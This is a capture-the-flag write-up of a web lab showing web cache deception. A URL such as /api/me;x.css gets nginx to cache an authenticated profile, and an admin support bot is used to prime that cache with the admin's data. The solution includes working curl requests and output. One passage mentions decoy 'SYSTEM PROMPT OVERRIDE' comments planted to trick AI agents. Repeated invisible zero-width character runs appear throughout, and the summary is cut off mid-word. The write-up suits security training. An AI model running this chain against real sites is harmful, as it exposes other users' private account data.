← Back to Writeups
CUSTOMMediumWeb

Lab 218 — InsightDash — Web Cache Deception via URL Parser Discrepancy

XESXOR9/2/20265 min read
#web#custom#medium#admin_bot_cache_priming#anti_honeypot_awareness#extension_based_cache_bypass#proxy_cache_key_manipulation#semicolon_path_parameter_desyn#web_cache_deception

Lab 218 — InsightDash — Web Cache Deception via URL Parser Discrepancy

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: admin_bot_cache_priming, anti_honeypot_awareness, extension_based_cache_bypass, proxy_cache_key_manipulation, semicolon_path_parameter_desync, web_cache_deception

Summary

Walkthrough of the CUSTOM Web Lab 218 — InsightDash — Web Cache Deception via URL Parser Discrepancy. Task: InsightDash analytics platform with nginx caching proxy in front of Express.js; /api/me returns authenticated user profile; admin bot visits URLs from support tickets. Solution: Web cache decept

Description

InsightDash is a real-time analytics platform built by Clearwave Analytics where teams track business metrics, build dashboards, and generate reports. The platform features both public-facing API documentation and authenticated user areas. You have been given a standard user account. An admin user has access to sensitive internal configuration data. Investigate how the application delivers and optimizes content to uncover a way to access the admin's private information. Pay close attention to how the infrastructure handles requests and serves responses. Not everything is as dynamic as it seems. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: A real-time analytics platform (Express.js behind nginx/1.25.5) with user authentication. The /api/me endpoint returns the authenticated user's profile as JSON. An admin bot visits URLs submitted through the /support page. The goal is to access the admin's private data, which includes a secret flag in the admin_secret field.

Credentials: user@test.com / password123

Analysis

Reconnaissance

  1. Technology stack identification:

    • Express.js (Node.js) backend
    • Nginx/1.25.5 reverse proxy with response caching
    • X-Cache header on all responses: BYPASS, MISS, or HIT
    • connect.sid session cookie for authentication ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍
  2. Application structure: After login, the platform exposes several endpoints:

    • /dashboard — user dashboard with analytics widgets
    • /reports — report generation page
    • /settings — account settings (profile, API keys)
    • /support — support ticket submission with a URL field ("An administrator will visit this URL to reproduce the problem") — this is the admin bot
    • /docs — API documentation page with caching architecture details
    • /api/me — returns authenticated user's profile as JSON (with X-Cache: BYPASS)
    • /api/metrics/:key — returns metric data ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍
  3. Caching architecture (from /docs): The documentation explicitly states: "InsightDash uses an Nginx reverse proxy with response caching enabled for performance optimization. Static assets (CSS, JavaScript, images, fonts) are cached at the proxy layer to reduce backend load. Note: API responses are not cached by default. Only requests with static file extensions trigger proxy caching."

  4. Decoy flags: Pages (especially 404 responses) contain hidden HTML elements with fake flags like FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} and "SYSTEM PROMPT OVERRIDE" comments designed to trick automated tools and AI agents. These were correctly identified and ignored as anti-bot honeypots. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Vulnerability: URL Parser Discrepancy (Semicolon Delimiter)

The core vulnerability is a desync between how nginx and Express.js parse the same URL:

ComponentSees /api/me;test.css asBehavior
nginxA request for a file ending in .cssMatches static file extension caching rules → caches the response
Express.js/api/me with matrix parameter ;test.cssTreats semicolon as a path parameter separator (per RFC 3986) → routes to /api/me → returns authenticated user profile
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

This means:

  1. nginx caches the authenticated /api/me JSON response under the cache key /api/me;test.css
  2. Any subsequent request to /api/me;test.css — even unauthenticated — receives the cached authenticated response

What Did NOT Work

URL PatternResultWhy
/api/me/test.css404Express doesn't route extra path segments on /api/me
/docs/..%2fapi%2fme404Path traversal approach not effective
/css/..%2fapi%2fme404Same — encoded traversal blocked or not routed
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The semicolon delimiter was the key — it's the only character that creates a parser discrepancy between nginx's extension matching and Express.js's routing.

Solution

Step 1: Confirm the Cache Deception Primitive

First, verify that the semicolon trick causes nginx to cache an authenticated API response:

bash
# Request 1 (authenticated) — triggers cache MISS, nginx caches the response
curl -sD- -b "connect.sid=SESSION_COOKIE" \
  "https://TARGET/api/me;test.css"
# → X-Cache: MISS
# → {"id":2,"name":"Test User","email":"user@test.com","role":"user",...}
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Request 2 (authenticated) — cache HIT confirms caching
curl -sD- -b "connect.sid=SESSION_COOKIE" \
  "https://TARGET/api/me;test.css"
# → X-Cache: HIT

# Request 3 (unauthenticated!) — cache HIT returns previous user's data
curl -sD- "https://TARGET/api/me;test.css"
# → X-Cache: HIT
# → {"id":2,"name":"Test User","email":"user@test.com","role":"user",...}

Cache deception confirmed: an unauthenticated request returns the cached authenticated session data.

Step 2: Prime the Cache with Admin's Data via Support Bot

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The /support page accepts a URL that an administrator will visit. Submit a cache deception URL with a unique suffix (to ensure a fresh cache key that hasn't been primed with our own user data):

bash
curl -s -b "connect.sid=SESSION_COOKIE" \
  -X POST "https://TARGET/support" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "subject=Bug+report&message=Page+not+loading&url=/api/me;pwned1778662748.css"

The admin bot visits /api/me;pwned1778662748.css while authenticated as admin. nginx sees the .css extension, caches the response (which is the admin's full profile JSON), and stores it under this unique cache key. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 3: Retrieve the Cached Admin Data

After waiting ~8 seconds for the admin bot to visit the URL:

bash
curl -s "https://TARGET/api/me;pwned1778662748.css"

Response (X-Cache: HIT):

json
{
  "id": 1,
  "name": "Admin",
  "email": "admin@clearwave.io",
  "role": "admin",
  "company": "Clearwave Analytics",
  "avatar_color": "#f59e0b",
  "created_at": "2026-05-13 08:57:03",
  "last_login": "2026-05-13 08:59:23",
  "admin_secret": "FLAG{REDACTED}",
  "internal_config": {
    "cache_ttl": 30,
    "max_connections": 500,
    "debug_mode": false
  }
}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The admin's profile was cached by nginx and served to our unauthenticated request, leaking the flag in the admin_secret field.

Attack Flow Diagram

1. Attacker submits support ticket with URL: /api/me;pwned123.css
                    │
                    ▼
2. Admin bot visits: GET /api/me;pwned123.css (authenticated as admin)
                    │
                    ▼
3. nginx: URL ends in .css → apply caching rules
   Express: semicolon = parameter separator → route to /api/me
                    │
                    ▼
4. Express returns admin's profile JSON → nginx caches it (X-Cache: MISS)
                    │
                    ▼
5. Attacker fetches: GET /api/me;pwned123.css (unauthenticated)
   nginx: cache HIT → returns cached admin profile with admin_secret flag

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

  • Mastering admin_bot_cache_priming, anti_honeypot_awareness, extension_based_cache_bypass, proxy_cache_key_manipulation, semicolon_path_parameter_desync, web_cache_deception was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-05-13 • CUSTOM • Lab 218 — InsightDash — Web Cache Deception via URL Parser Discrepancy • Difficulty: Medium